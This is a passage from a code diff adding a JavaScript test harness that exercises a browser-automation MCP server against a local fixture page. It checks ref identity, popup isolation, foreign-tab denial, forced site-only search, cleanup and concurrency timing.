imageBlocks(result); + const observation = rows.find(row => row.observation)?.observation ?? null; + for (const block of images) { + assert.equal(block.mimeType, 'image/png'); + assert.equal(inspectPng(Buffer.from(block.data, 'base64')).ok, true); + } + await proxy.noteEmitted(result); + let completedUnknown; + const native = rows.find(row => row.outcome === 'unknown' && row.mayHaveExecuted === true); + if (!resultOK(result) && observeCompletedUnknown && native) { + assert.ok(!rows.some(row => row.in_flight === true || row.cleanup_pending === true || row.pending === true) + && !proxy.meta?.uncertain_upstream && !proxy.meta?.capture_cleanup_pending && !proxy.meta?.fault + && !proxy.scheduler?.halted, `${name}: unresolved native work cannot be inspected as a completed action`); + assert.equal(images.length, 1, `${name}: completed unknown requires its actual native PNG`); + assert.ok(observation?.frame_id && observation?.operation_id && Number.isInteger(observation?.tab_id), `${name}: completed unknown requires a physical observation identity`); + const bytes = Buffer.from(images[0].data, 'base64'), image = inspectPng(bytes); + assert.equal(observation.sha256, digest(bytes)); assert.equal(observation.byte_length, bytes.length); + assert.equal(observation.output_width, image.width); assert.equal(observation.output_height, image.height); + assert.equal(observation.tab_id, args.tab_id ?? args.tabId ?? proxy.tabId); + if (proxy.taskId) assert.equal(observation.task_id, proxy.taskId); + if (proxy.session) assert.equal(proxy.session.resolveTarget({ tab_id: observation.tab_id }), observation.tab_id); + // An observation delivered with an unknown action does not authorize another + // mutation. This fresh read preserves the ref generation and verifies state. + const fresh = await callActorTool(proxy, 'get_text', { tab_id: observation.tab_id, selector: '#gate-state' }, { imageCount: 1 }); + assert.notEqual(fresh.observation?.frame_id, observation.frame_id); + assert.equal(fresh.observation?.tab_id, observation.tab_id); + assert.equal(fresh.observation?.source_url, observation.source_url); + const state = JSON.parse(fresh.rows.find(row => typeof row.text === 'string')?.text ?? 'null'); + assert.ok(state && typeof state.marker === 'string', 'Fresh fixture observation returned no task marker'); + const expectedMarker = new URL(observation.source_url).searchParams.get('marker'); + if (proxy.taskId) assert.ok([proxy.taskId, `${proxy.taskId}-popup`].includes(expectedMarker)); + assert.equal(state.marker, expectedMarker); + completedUnknown = { tool: name, native_success: false, outcome: native.outcome, mayHaveExecuted: true, + native_result: rows.filter(row => !row.observation), operation_id: observation.operation_id, + tab_id: observation.tab_id, capture_id: observation.capture_id, frame_id: observation.frame_id, + fresh_read: { tool: 'get_text', operation_id: fresh.observation.operation_id, + frame_id: fresh.observation.frame_id, capture_id: fresh.observation.capture_id, source_url: fresh.observation.source_url }, + replayed: false, confirmation: 'Fresh fixture observation; caller independently asserts exact goal state' }; + proxy.gateCompletedUnknowns?.push(completedUnknown); + } + if (!allowFailure && !completedUnknown && !resultOK(result)) throw Object.assign(new Error(`${name}: ${JSON.stringify(rows)}`), { code: rows.find(row => row.code)?.code ?? 'ACTOR_TOOL_FAILED' }); + if (imageCount !== undefined && images.length !== imageCount) throw Object.assign(new Error(`${name}: unexpected inline image count`), { code: 'ACTOR_IMAGE_COUNT' }); + return { result, rows, observation, images: images.length, completed_unknown: completedUnknown ?? null }; +} + +export async function inspectArtifacts({ rawDir, expectedOrigin, allowedMarkers, exportDir }) { + const steps = (await readFile(path.join(rawDir, 'steps.jsonl'), 'utf8')).trim().split('\n').map(JSON.parse); + const emissions = (await readFile(path.join(rawDir, 'emissions.jsonl'), 'utf8')).trim().split('\n').filter(Boolean).map(JSON.parse); + const emitted = new Set(emissions.map(row => row.frame_id)); + const frames = []; + let lastFrame; + const expectedExport = []; + for (const entry of steps) { + if (['research_read', 'denied', 'foreign_read'].includes(entry.kind)) { + assert.equal(entry.screenshot_path, null, 'Research, denied and foreign-tab reads must not invent images'); + continue; + } + assert.ok(entry.screenshot_path, `${entry.tool} seq ${entry.seq} has no physical capture`); + const bytes = await readFile(entry.screenshot_path), png = inspectPng(bytes), receipt = entry.frame_receipt; + assert.equal(png.ok, true); + assert.ok(png.width >= 100 && png.height >= 100, 'Expected a real viewport, not a placeholder PNG'); + assert.equal(receipt?.sha256, digest(bytes)); + assert.equal(receipt.byte_length, bytes.length); + assert.equal(receipt.task_id, path.basename(rawDir)); + const url = new URL(receipt.source_url); + assert.equal(url.origin, expectedOrigin); + assert.equal(url.pathname, '/fixture'); + assert.ok(allowedMarkers.includes(url.searchParams.get('marker')), 'Capture source belongs to another fixture task'); + assert.equal(receipt.tab_id, entry.tab_id); + assert.equal(entry.url, receipt.source_url); + if (entry.kind !== 'bootstrap') assert.ok(emitted.has(receipt.frame_id), 'Actor image was not acknowledged as emitted'); + frames.push({ seq: entry.seq, tool: entry.tool, task_id: receipt.task_id, tab_id: receipt.tab_id, + sha256: receipt.sha256, capture_id: receipt.capture_id, source_url: receipt.source_url, + byte_length: bytes.length, path: entry.screenshot_path }); + lastFrame = frames.at(-1); + if (entry.kind === 'bootstrap' || entry.kind === 'action') expectedExport.push(lastFrame); + } + assert.ok(lastFrame); + expectedExport.push(lastFrame); + const exported = JSON.parse(await readFile(path.join(exportDir, 'result.json'), 'utf8')); + assert.equal(exported.action_history.length, expectedExport.length); + for (const [index, entry] of exported.action_history.entries()) { + const bytes = await readFile(path.join(exportDir, 'trajectory', entry.screenshot)); + assert.equal(digest(bytes), expectedExport[index].sha256, 'Export did not retain the corresponding native frame bytes'); + assert.equal(entry.url, expectedExport[index].source_url); + } + return { physical_frames: frames.length, emitted_frames: emissions.length, + exported_frames: exported.action_history.length, frames }; +} + +async function sourceDescriptor(file) { + const bytes = await readFile(file); + return { path: file, sha256: digest(bytes), bytes: bytes.length }; +} + +async function startFixtureServer() { + const html = await readFile(FIXTURE_PATH); + const server = createServer((request, response) => { + const url = new URL(request.url, 'http://127.0.0.1'); + if (url.pathname !== '/fixture') { response.writeHead(404); response.end(); return; } + response.writeHead(200, { 'content-type': 'text/html; charset=utf-8', 'cache-control': 'no-store' }); + response.end(html); + }); + await new Promise((resolve, reject) => { server.once('error', reject); server.listen(0, '127.0.0.1', resolve); }); + return { origin: `http://127.0.0.1:${server.address().port}`, + close: () => new Promise(resolve => { server.closeAllConnections(); server.close(resolve); }) }; +} + +function fixtureUrl(origin, marker, mode = 'full') { + const url = new URL('/fixture', origin); + url.searchParams.set('marker', marker); url.searchParams.set('mode', mode); + return url.href; +} + +async function pageState(proxy, tabId) { + return javascriptValue((await callActorTool(proxy, 'execute_js', { + tab_id: tabId, code: 'return JSON.parse(document.querySelector("#gate-state").textContent);' + }, { imageCount: 1 })).rows); +} + +async function snapshotRef(proxy, label, tabId) { + const response = await callActorTool(proxy, 'get_page_snapshot', { tab_id: tabId }, { imageCount: 1 }); + const snapshot = response.rows.find(row => typeof row.snapshot === 'string')?.snapshot; + assert.ok(snapshot, 'Native snapshot did not return markdown'); + return refForLabel(snapshot, label); +} + +export async function findOwnedFixturePopup(proxy, { primary, marker, attempts = 5, delayMs = 200 }) { + let popup; + for (let attempt = 0; attempt < attempts && !popup; attempt++) { + const inventory = await callActorTool(proxy, 'list_tabs', {}, { imageCount: 0 }); + const owned = ownedTabsFromResult(inventory.result); + assert.ok(owned.some(row => row.id === primary), 'Popup inventory lost the primary fixture tab'); + const children = owned.filter(row => row.id !== primary); + assert.ok(children.length <= 1, 'Popup fixture produced more than one additional owned tab'); + popup = children[0]; + if (!popup && attempt + 1 < attempts) await new Promise(resolve => setTimeout(resolve, delayMs)); + } + assert.ok(popup, 'The trusted fixture click did not produce a task-owned popup'); + // Scoped inventory supplies ownership, not a destination URL. Verify the child + // through its own emitted observation before using it for isolation assertions. + const observed = await callActorTool(proxy, 'get_page_snapshot', { tab_id: popup.id }, { imageCount: 1 }); + assert.equal(observed.observation?.tab_id, popup.id); + const actual = new URL(observed.observation?.source_url); + const parent = new URL(proxy.startUrl); + assert.equal(actual.origin, parent.origin, 'Owned popup capture has the wrong fixture origin'); + assert.equal(actual.pathname, '/fixture'); + assert.equal(actual.searchParams.get('marker'), `${marker}-popup`, 'Owned popup capture has the wrong task marker'); + assert.equal(actual.searchParams.get('mode'), 'isolation'); + assert.equal(actual.searchParams.get('child'), '1'); + const state = await pageState(proxy, popup.id); + assert.equal(state.marker, `${marker}-popup`, 'Owned popup state has the wrong task marker'); + return { ...popup, identity: { tab_id: popup.id, source_url: actual.href, state_marker: state.marker, + frame_id: observed.observation.frame_id, capture_id: observed.observation.capture_id } }; +} + +async function clickCoordinates(proxy, selector, tabId, { observeCompletedUnknown = false } = {}) { + const geometry = await callActorTool(proxy, 'execute_js', { tab_id: tabId, + code: `const element = document.querySelector(${JSON.stringify(selector)}); element.scrollIntoView({block:"center",behavior:"instant"}); const rect = element.getBoundingClientRect(); return {x:rect.left + rect.width/2,y:rect.top + rect.height/2};` + }, { imageCount: 1 }); + assert.ok(geometry.observation?.frame_id); + const point = javascriptValue(geometry.rows); + return callActorTool(proxy, 'click_at', { tab_id: tabId, frame_id: geometry.observation.frame_id, x: point.x, y: point.y }, { imageCount: 1, observeCompletedUnknown }); +} + +async function exportSession(context, outputDir, profilePath, origin) { + const { proxy, taskId, marker, rawDir } = context; + const task = { task_id: taskId, confirmed_task: 'Verify the local browser-manual FSB fixture state and retain real observation evidence.', + website: proxy.startUrl, reference_length: 7, level: 'easy' }; + await writeFile(path.join(rawDir, 'final.json'), json({ task_id: taskId, outcome: 'complete', + final_answer: `Local installed-FSB checks passed for ${marker}.`, synthetic: true, benchmark_result: false })); + const written = await writeV2({ task, rawDir, outDir: path.join(outputDir, 'trajectories'), allowlistPath: profilePath }); + const validation = await validateTrajectoryDir(written.dir); + assert.equal(validation.ok, true, validation.errors.join('; ')); + context.artifacts = await inspectArtifacts({ rawDir, expectedOrigin: origin, + allowedMarkers: [marker, `${marker}-popup`], exportDir: written.dir }); + context.export_dir = written.dir; +} + +export async function refBoundaryChecks(proxy, primary, check) { + const before = await pageState(proxy, primary); + const identityRef = await snapshotRef(proxy, 'Gate click', primary); + const unknownRef = 'e999999999'; + const traps = await callActorTool(proxy, 'execute_js', { tab_id: primary, code: ` + const original = document.getElementById('gate-click'); + const duplicate = original.cloneNode(true); + duplicate.setAttribute('data-gate-ref-trap', 'css'); + duplicate.setAttribute('aria-label', 'Gate CSS collision'); + duplicate.addEventListener('click', () => { document.body.dataset.gateCssTrap = String(Number(document.body.dataset.gateCssTrap || 0) + 1); }); + original.before(duplicate); + for (const ref of ${JSON.stringify([identityRef, unknownRef])}) { + const tag = document.createElement(ref); + tag.textContent = 'Compact reference CSS tag trap ' + ref; + tag.setAttribute('data-gate-ref-trap', ref); + tag.style.display = 'inline-block'; tag.style.padding = '8px'; + tag.addEventListener('click', () => { document.body.dataset.gateTagTrap = String(Number(document.body.dataset.gateTagTrap || 0) + 1); }); + original.before(tag); + } + return { duplicate_ids: document.querySelectorAll('#gate-click').length, original_connected: original.isConnected }; + ` }, { imageCount: 1 }); + assert.equal(javascriptValue(traps.rows).duplicate_ids, 2); + const identityClick = await callActorTool(proxy, 'click', { tab_id: primary, selector: identityRef }, { imageCount: 1, observeCompletedUnknown: true }); + assert.equal((await pageState(proxy, primary)).clicks, before.clicks + 1, 'Connected compact ref must retain exact identity despite CSS collisions'); + const rejected = await callActorTool(proxy, 'click', { tab_id: primary, selector: unknownRef }, { allowFailure: true, imageCount: 1 }); + assert.equal(resultOK(rejected.result), false); + assert.match(JSON.stringify(rejected.rows), /Unknown ref|stale|not found/i, 'Unknown compact refs must fail closed rather than query an identically named HTML tag'); + const collisionState = javascriptValue((await callActorTool(proxy, 'execute_js', { tab_id: primary, code: ` + const counts = { css: Number(document.body.dataset.gateCssTrap || 0), tag: Number(document.body.dataset.gateTagTrap || 0) }; + document.querySelectorAll('[data-gate-ref-trap]').forEach(element => element.remove()); + return counts; + ` }, { imageCount: 1 })).rows); + assert.deepEqual(collisionState, { css: 0, tag: 0 }); + check('compact_ref_exact_identity_and_unknown_fail_closed', { ref: identityRef, unknown_ref: unknownRef, collisions: collisionState, + native_success: resultOK(identityClick.result), completed_unknown: identityClick.completed_unknown }); + + const precedenceBefore = await pageState(proxy, primary); + const textClick = await callActorTool(proxy, 'click', { tab_id: primary, selector: unknownRef, text: 'Increment this tab' }, { imageCount: 1, observeCompletedUnknown: true }); + assert.equal((await pageState(proxy, primary)).clicks, precedenceBefore.clicks + 1, 'Public click text target must take precedence over an unused selector'); + const cssClick = await callActorTool(proxy, 'click', { tab_id: primary, selector: '#gate-click' }, { imageCount: 1, observeCompletedUnknown: true }); + assert.equal((await pageState(proxy, primary)).clicks, precedenceBefore.clicks + 2, 'Ordinary CSS selector compatibility must be retained'); + check('public_click_target_precedence_and_css_compatibility', { native_outcomes: [ + { target: 'text', native_success: resultOK(textClick.result), completed_unknown: textClick.completed_unknown }, + { target: 'css', native_success: resultOK(cssClick.result), completed_unknown: cssClick.completed_unknown } ] }); + + const staleRef = await snapshotRef(proxy, 'Gate click', primary); + const replacement = await callActorTool(proxy, 'execute_js', { tab_id: primary, code: ` + const original = document.getElementById('gate-click'); + const next = original.cloneNode(true); + next.setAttribute('data-gate-stale-replacement', 'true'); + next.dataset.gateStaleClicks = '0'; + next.addEventListener('click', () => { next.dataset.gateStaleClicks = String(Number(next.dataset.gateStaleClicks) + 1); }); + original.replaceWith(next); + return { original_connected: original.isConnected, replacement_connected: next.isConnected }; + ` }, { imageCount: 1 }); + assert.deepEqual(javascriptValue(replacement.rows), { original_connected: false, replacement_connected: true }); + const staleClick = await callActorTool(proxy, 'click', { tab_id: primary, selector: staleRef }, { imageCount: 1, observeCompletedUnknown: true }); + const staleClicks = javascriptValue((await callActorTool(proxy, 'execute_js', { tab_id: primary, + code: 'return { clicks: Number(document.querySelector("[data-gate-stale-replacement]").dataset.gateStaleClicks) };' + }, { imageCount: 1 })).rows); + assert.equal(staleClicks.clicks, 1, 'A known detached ref must recover through its stored CSS selector'); + check('known_stale_ref_stored_css_recovery', { ref: staleRef, replacement_clicks: staleClicks.clicks, + native_success: resultOK(staleClick.result), completed_unknown: staleClick.completed_unknown }); +} + +async function functionalChecks(context, createContext, check, controls) { + const { proxy, marker } = context; + await callActorTool(proxy, 'get_page_snapshot', {}, { imageCount: 1 }); + const primary = proxy.tabId; + for (const [tool, label, args, predicate] of [ + ['click', 'Gate click', {}, state => state.clicks === 1], + ['type_text', 'Gate text', { text: `typed-${marker}` }, state => state.typed === `typed-${marker}`], + ['press_enter', 'Gate Enter', {}, state => state.enters === 1], + ['select_option', 'Gate selection', { value: 'blue' }, state => state.selected === 'blue'], + ['check_box', 'Gate checkbox', {}, state => state.checked === true], + ['hover', 'Gate hover', {}, hoverDispatchObserved], + ['get_text', 'Gate read', {}, () => true], + ]) { + const pointerPark = tool === 'hover' ? await clickCoordinates(proxy, '#marker', primary) : null; + const ref = await snapshotRef(proxy, label, primary); + assert.match(ref, /^e\d+$/); + const before = tool === 'hover' ? await pageState(proxy, primary) : null; + const response = await callActorTool(proxy, tool, { tab_id: primary, selector: ref, ...args }, { imageCount: 1, observeCompletedUnknown: tool !== 'get_text' }); + if (tool === 'get_text') assert.equal(response.rows.find(row => row.text !== undefined)?.text, `READ_TEXT ${marker}`); + const state = await pageState(proxy, primary); + assert.equal(state.marker, marker); assert.equal(predicate(state, before), true, `${tool} did not produce the exact expected state`); + check(`ref_${tool}`, { ref, tab_id: primary, state, native_success: resultOK(response.result), completed_unknown: response.completed_unknown, + ...(pointerPark ? { hover_before: before, + hover_assertion: 'Exactly one synthetic mouseenter; ambient trusted pointer entries retained separately', + pointer_park: { tool: 'click_at', native_success: resultOK(pointerPark.result), frame_id: pointerPark.observation.frame_id, + capture_id: pointerPark.observation.capture_id, source_url: pointerPark.observation.source_url } } : {}) }); + } + await refBoundaryChecks(proxy, primary, check); + const waitingRef = await snapshotRef(proxy, 'Gate click', primary); + const waited = await callActorTool(proxy, 'wait_for_element', { tab_id: primary, selector: waitingRef }, { imageCount: 1 }); + assert.equal(waited.rows.find(row => row.found !== undefined)?.found, true); + check('wait_ref', { ref: waitingRef }); + const readable = await callActorTool(proxy, 'read_page', { tab_id: primary, full: true }, { imageCount: 1 }); + assert.match(JSON.stringify(readable.rows), new RegExp(`AFTER_SVG ${marker}`)); + check('svg_read_page_and_snapshots', { marker }); + const canvasClick = await clickCoordinates(proxy, '#gate-canvas', primary, { observeCompletedUnknown: true }); + assert.equal((await pageState(proxy, primary)).canvas, 1); + check('frame_grounded_canvas_click', { tab_id: primary, native_success: resultOK(canvasClick.result), completed_unknown: canvasClick.completed_unknown }); + const capturesBefore = context.requestCounts.get('capture_screenshot') ?? 0; + const capture = await callActorTool(proxy, 'capture_screenshot', { tab_id: primary }, { imageCount: 1 }); + assert.equal((context.requestCounts.get('capture_screenshot') ?? 0) - capturesBefore, 1); + assert.ok(capture.observation?.capture_id); + check('one_explicit_inline_capture', { capture_id: capture.observation.capture_id }); + await callActorTool(proxy, 'get_site_guide', { domain: 'amazon.com' }, { imageCount: 0 }); + check('site_guide_without_invented_image'); + const search = await callActorTool(proxy, 'search', { tab_id: primary, query: 'must stay local', allow_web_fallback: true }, { allowFailure: true, imageCount: 1 }); + assert.equal(resultOK(search.result), false); + assert.match(JSON.stringify(search.rows), /web fallback is disabled/); + const stateAfterSearch = await pageState(proxy, primary); + assert.equal(stateAfterSearch.marker, marker); + const searchStep = (await readFile(path.join(context.rawDir, 'steps.jsonl'), 'utf8')).trim().split('\n').map(JSON.parse).find(entry => entry.tool === 'search'); + assert.equal(searchStep.effective_args.allow_web_fallback, false); + check('forced_site_only_search', { effective_allow_web_fallback: false, source_url: search.observation.source_url }); + const steady = await callActorTool(proxy, 'wait_for_stable', { tab_id: primary }, { imageCount: 1 }); + assert.equal(steady.rows.find(row => row.stable !== undefined)?.stable, true); + const churnRef = await snapshotRef(proxy, 'Gate churn', primary); + const churnClick = await callActorTool(proxy, 'click', { tab_id: primary, selector: churnRef }, { imageCount: 1, observeCompletedUnknown: true }); + assert.equal((await pageState(proxy, primary)).churn, true, 'Churn action must actually start the fixture mutation timer'); + const unsettled = await callActorTool(proxy, 'wait_for_stable', { tab_id: primary }, { imageCount: 1 }); + const timeout = unsettled.rows.find(row => row.stable !== undefined); + assert.equal(timeout.success, true); assert.equal(timeout.stable, false); assert.equal(timeout.reason, 'timeout'); + check('wait_stable_flags', { stable: true, timeout: { success: timeout.success, stable: timeout.stable, reason: timeout.reason }, + churn_native_success: resultOK(churnClick.result), completed_unknown: churnClick.completed_unknown }); + + await callActorTool(proxy, 'navigate', { tab_id: primary, url: fixtureUrl(new URL(proxy.startUrl).origin, marker, 'isolation') }, { imageCount: 1 }); + const popupOpen = await clickCoordinates(proxy, '#gate-popup', primary, { observeCompletedUnknown: true }); + const popup = await findOwnedFixturePopup(proxy, { primary, marker }); + const parentRef = await snapshotRef(proxy, 'Gate click', primary); + const popupRef = await snapshotRef(proxy, 'Gate click', popup.id); + assert.equal(parentRef, popupRef, 'Isolation fixture must expose the same compact token in both documents'); + const popupClick = await callActorTool(proxy, 'click', { tab_id: popup.id, selector: popupRef }, { imageCount: 1, observeCompletedUnknown: true }); + assert.equal((await pageState(proxy, popup.id)).clicks, 1); + assert.equal((await pageState(proxy, primary)).clicks, 0); + const parentClick = await callActorTool(proxy, 'click', { tab_id: primary, selector: parentRef }, { imageCount: 1, observeCompletedUnknown: true }); + assert.equal((await pageState(proxy, primary)).clicks, 1); + assert.equal((await pageState(proxy, popup.id)).clicks, 1); + check('popup_same_ref_document_isolation', { parent_tab_id: primary, popup_tab_id: popup.id, ref: parentRef, popup_identity: popup.identity, + native_outcomes: [ ['open', popupOpen], ['popup', popupClick], ['parent', parentClick] ].map(([target, response]) => ({ + target, native_success: resultOK(response.result), completed_unknown: response.completed_unknown })) }); + await callActorTool(proxy, 'close_tab', { tab_id: popup.id }, { imageCount: 1 }); + + const foreign = await createContext('foreign_control'); + await callActorTool(foreign.proxy, 'get_page_snapshot', {}, { imageCount: 1 }); + const denied = await proxy.request('get_text', { tab_id: foreign.proxy.tabId, selector: '#marker' }, 15000); + controls.push({ name: 'native_foreign_tab_probe', requesting_task: context.taskId, + foreign_task: foreign.taskId, foreign_tab_id: foreign.proxy.tabId, result: resultData(denied), isError: denied.isError === true }); + assert.equal(resultOK(denied), false); + assert.match(JSON.stringify(resultData(denied)), /TAB_NOT_OWNED|Detected: Tab ownership/); + assert.equal((await pageState(foreign.proxy, foreign.proxy.tabId)).marker, foreign.marker); + check('installed_native_foreign_tab_denial', { foreign_tab_id: foreign.proxy.tabId }); + const lastClose = await callActorTool(proxy, 'close_tab', { tab_id: primary }, { allowFailure: true, imageCount: 0 }); + assert.match(JSON.stringify(lastClose.rows), /LAST_WORKING_TAB/); + check('actor_last_working_tab_guard', { tab_id: primary }); + return { foreign, primary }; +} + +export async function manualLiveGate({ liveAuthorized = false, outputDir, command, + profilePath = DEFAULT_PROFILE_PATH, concurrency = [1, 2, 5, 10] } = {}) { + assert.equal(liveAuthorized, true, 'Live gate requires explicit authorization after staged extension/runtime installation'); + assert.ok(concurrency.length && concurrency.every(value => [1, 2, 5, 10].includes(value))); + outputDir = path.resolve(outputDir ?? path.join(ROOT, '.context/om2w/repair-v2', `manual-live-gate-${Date.now()}`)); + assert.equal((await readdir(outputDir).catch(error => { if (error.code === 'ENOENT') return []; throw error; })).length, 0, 'Choose an empty new evidence directory'); + await mkdir(outputDir, { recursive: true }); + profilePath = path.resolve(profilePath); + const profile = JSON.parse(await readFile(profilePath, 'utf8')); + assert.deepEqual(profile.actions, PROFILE.actions); assert.deepEqual(profile.reads, PROFILE.reads); + command ??= [process.execPath, path.join(homedir(), '.fsb/native-host/runtime/package/build/index.js'), 'stdio']; + assert.ok(Array.isArray(command) && command.length && command.every(value => typeof value === 'string')); + const sources = await Promise.all([fileURLToPath(import.meta.url), FIXTURE_PATH, profilePath, + path.join(HERE, 'manual-recording-proxy.mjs'), path.join(HERE, 'browser-scheduler.mjs')].map(sourceDescriptor)); + const server = await startFixtureServer(); + const scheduler = new BrowserScheduler(); + const contexts = [], controls = []; + const summary = { synthetic: true, benchmark_result: false, no_model_calls: true, + transport: 'installed native MCP plus local fixture; existing Chrome', profile: PROFILE.id, + started_at: new Date().toISOString(), output_dir: outputDir, checks: [], controls, + concurrency: [], sessions: [], ok: false, correctness_ok: false, cleanup_ok: false, hard_queue_ms: scheduler.maxQueueMs, + sources }; + const check = (name, detail = {}) => summary.checks.push({ name, ok: true, ...detail }); + try { + await writeFile(path.join(outputDir, 'manifest.json'), json({ ...summary, command_sha256: digest(JSON.stringify(command)) }), { flag: 'wx' }); + } catch (error) { await server.close(); throw error; } + async function createContext(prefix) { + const taskId = `gate_${prefix}_${randomUUID().replaceAll('-', '')}`, marker = taskId; + const rawDir = path.join(outputDir, 'raw', taskId); + const proxy = new ManualRecordingProxy({ command, rawDir, startUrl: fixtureUrl(server.origin, marker), + taskId, attemptId: 'scripted-gate', scheduler, maxActions: 120, deadline: Date.now() + 1200000, + onFault: fault => scheduler.halt(`Fixture ${taskId}: ${fault.code}`) }); + const context = { proxy, taskId, marker, rawDir, cleanable: false, requestCounts: new Map() }; + proxy.gateCompletedUnknowns = []; + const request = proxy.request.bind(proxy); + proxy.request = (name, ...args) => { + context.requestCounts.set(name, (context.requestCounts.get(name) ?? 0) + 1); + return request(name, ...args); + }; + contexts.push(context); + await proxy.upstream.initialize(); + const tools = await proxy.handle('tools/list'); + assert.deepEqual(tools.tools.map(tool => tool.name).sort(), [...ALLOWED_TOOLS].sort()); + const readyUntil = Date.now() + 10_000; + let baseline; + do { + baseline = await proxy.request('list_tabs', {}, Math.max(1, readyUntil - Date.now())); + if (resultOK(baseline) || Date.now() >= readyUntil) break; + await new Promise(resolve => setTimeout(resolve, 200)); + } while (Date.now() < readyUntil); + assert.deepEqual(ownedTabsFromResult(baseline), [], 'A fresh fixture client must not adopt existing user tabs'); + context.cleanable = true; + return context; + } + try { + const functional = await createContext('functional'); + const { foreign, primary } = await functionalChecks(functional, createContext, check, controls); + await exportSession(functional, outputDir, profilePath, server.origin); + await exportSession(foreign, outputDir, profilePath, server.origin); + // Administrative cleanup probe: no actor trajectory can capture after its final tab is closed. + const nativeClose = await scheduler.run(functional.proxy.ownerId, () => functional.proxy.request('close_tab', { + tab_id: primary, allow_active: true, client: 'Claude', visual_reason: 'Verify native last-owned-tab cleanup in the local gate' + }), { cleanup: true }); + controls.push({ name: 'native_last_owned_tab_close', task_id: functional.taskId, tab_id: primary, result: resultData(nativeClose) }); + assert.equal(resultOK(nativeClose), true); + assert.deepEqual((await functional.proxy.inventory()).rows, []); + check('installed_native_last_owned_tab_close', { tab_id: primary }); + await Promise.all([functional.proxy.close(), foreign.proxy.close()]); + + for (const workers of concurrency) { + const start = contexts.length; let error = null; + try { + const wave = await settleOperations(Array.from({ length: workers }, (_, index) => createContext(`c${workers}_${index}`))); + const refs = await settleOperations(wave.map(context => snapshotRef(context.proxy, 'Gate click', undefined))); + await settleOperations(wave.map(async (context, index) => { + const response = await callActorTool(context.proxy, 'click', { selector: refs[index] }, { imageCount: 1, observeCompletedUnknown: true }); + const state = await pageState(context.proxy, context.proxy.tabId); + assert.equal(state.marker, context.marker); assert.equal(state.clicks, 1); + context.ref_click_check = { task_id: context.taskId, ref: refs[index], tab_id: context.proxy.tabId, + state, native_success: resultOK(response.result), completed_unknown: response.completed_unknown }; + await exportSession(context, outputDir, profilePath, server.origin); + })); + } catch (caught) { error = caught; } + const wave = contexts.slice(start), steps = []; + for (const context of wave) { + context.level = workers; + context.queueEvidence = await queueTimingEvidence(context.rawDir); + if (!context.artifacts) { + try { await exportSession(context, outputDir, profilePath, server.origin); } + catch (caught) { + context.export_error = caught.message; + if (!context.queueEvidence.can_explain_missing_export || !MISSING_QUEUE_EXPORT_CODES.has(caught.code)) throw caught; + } + } + if (context.cleanable) await context.proxy.close(); + else { await context.proxy.upstream.close(); context.proxy.meta.cleanup_ok = false; } + assert.equal(context.proxy.meta.cleanup_ok, true, 'A failed local level must still prove owned cleanup before another level'); + const rows = (await readFile(path.join(context.rawDir, 'steps.jsonl'), 'utf8').catch(caught => { if (caught.code === 'ENOENT') return ''; throw caught; })).split('\n').filter(Boolean).map(JSON.parse); + steps.push(...rows); + } + const expired = wave.reduce((sum, context) => sum + (context.proxy.meta.queue_expiries ?? 0), 0); + if (expired && wave.some(context => context.proxy.meta.queue_expiries && !context.queueEvidence.valid)) throw new Error('Local queue expiry lacks valid non-dispatch evidence'); + if (error && !(expired && (QUEUE_TIMEOUT_CODES.has(error.code) || error.code === 'ACTOR_IMAGE_COUNT'))) throw error; + const queue = percentile(steps.map(entry => entry.timing?.lease_acquired && entry.timing?.lease_requested + ? entry.timing.lease_acquired.monotonic_ms - entry.timing.lease_requested.monotonic_ms : null)); + const roundtrip = percentile(steps.filter(entry => !['research_read', 'denied'].includes(entry.kind)) + .map(entry => Date.parse(entry.ended_at) - Date.parse(entry.started_at))); + const complete = !error && wave.length === workers && wave.every(context => context.artifacts?.physical_frames > 0); + if (!complete && !expired) throw new Error('Incomplete local physical-state checks without a proved queue expiry require repair'); + const passed = complete && !expired && queue !== null && queue <= 30_000 && roundtrip !== null && roundtrip <= 60_000; + for (const context of wave) context.level_timing_failed = !passed; + summary.concurrency.push({ workers, ok: passed, failure_kind: passed ? null : 'timing', physical_tests_complete: complete, + queue_expiries: expired, p95_queue_ms: queue, p95_tool_roundtrip_ms: roundtrip, + error: error?.message ?? null, error_code: error?.code ?? null, task_ids: wave.map(context => context.taskId), + ref_checks: wave.map(context => context.ref_click_check).filter(Boolean), + physical_frames: wave.reduce((sum, context) => sum + (context.artifacts?.physical_frames ?? 0), 0) }); + } + summary.correctness_ok = true; + summary.ok = summary.concurrency.some(level => level.ok); + } catch (error) { + summary.error = error.message; summary.error_code = error.code ?? error.name; + scheduler.halt('Local live gate stopped after a failed assertion'); + } finally { + for (const context of contexts) { + try { + if (context.cleanable) await context.proxy.close(); + else { await context.proxy.upstream.close(); context.proxy.meta.cleanup_ok = false; } + } catch (error) { context.cleanup_error = error.message; } + summary.sessions.push({ task_id: context.taskId, marker: context.marker, primary_tab_id: context.proxy.tabId, + raw_dir: context.rawDir, export_dir: context.export_dir ?? null, + cleanup_ok: context.proxy.meta.cleanup_ok === true, cleanup_error: context.cleanup_error ?? context.proxy.meta.cleanup_error, + queue_expiries: context.proxy.meta.queue_expiries ?? 0, + level: context.level ?? null, level_timing_failed: context.level_timing_failed ?? false, + queue_timing_evidence: context.queueEvidence ?? null, export_error: context.export_error ?? null, + completed_unknowns: context.proxy.gateCompletedUnknowns ?? [], + proxy_counts: { ...context.proxy.meta.counts }, + upstream_request_counts: Object.fromEntries(context.requestCounts), + artifacts: context.artifacts ?? null }); + } + summary.cleanup_ok = contexts.length > 0 && contexts.every(context => context.proxy.meta.cleanup_ok === true); + summary.queue_expiries = contexts.reduce((sum, context) => sum + (context.proxy.meta.queue_expiries ?? 0), 0); + summary.ok &&= summary.cleanup_ok && summary.correctness_ok; + summary.passed_levels = summary.concurrency.filter(level => level.ok).map(level => level.workers); + summary.highest_passing_level = summary.passed_levels.length ? Math.max(...summary.passed_levels) : null; + await server.close(); + summary.ended_at = new Date().toISOString(); + await writeFile(path.join(outputDir, 'summary.json'), json(summary)); + } + return summary; +} + +if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) { + const { values } = parseArgs({ options: { 'run-live': { type: 'boolean' }, output: { type: 'string' }, + profile: { type: 'string' }, 'fsb-server-cmd': { type: 'string' }, concurrency: { type: 'string' } } }); + const summary = await manualLiveGate({ liveAuthorized: values['run-live'] === true, outputDir: values.output, + profilePath: values.profile, command: values['fsb-server-cmd'] ? JSON.parse(values['fsb-server-cmd']) : undefined, + concurrency: values.concurrency ? values.concurrency.split(',').map(Number) : undefined }); + console.log(JSON.stringify({ ok: summary.ok, cleanup_ok: summary.cleanup_ok, output_dir: 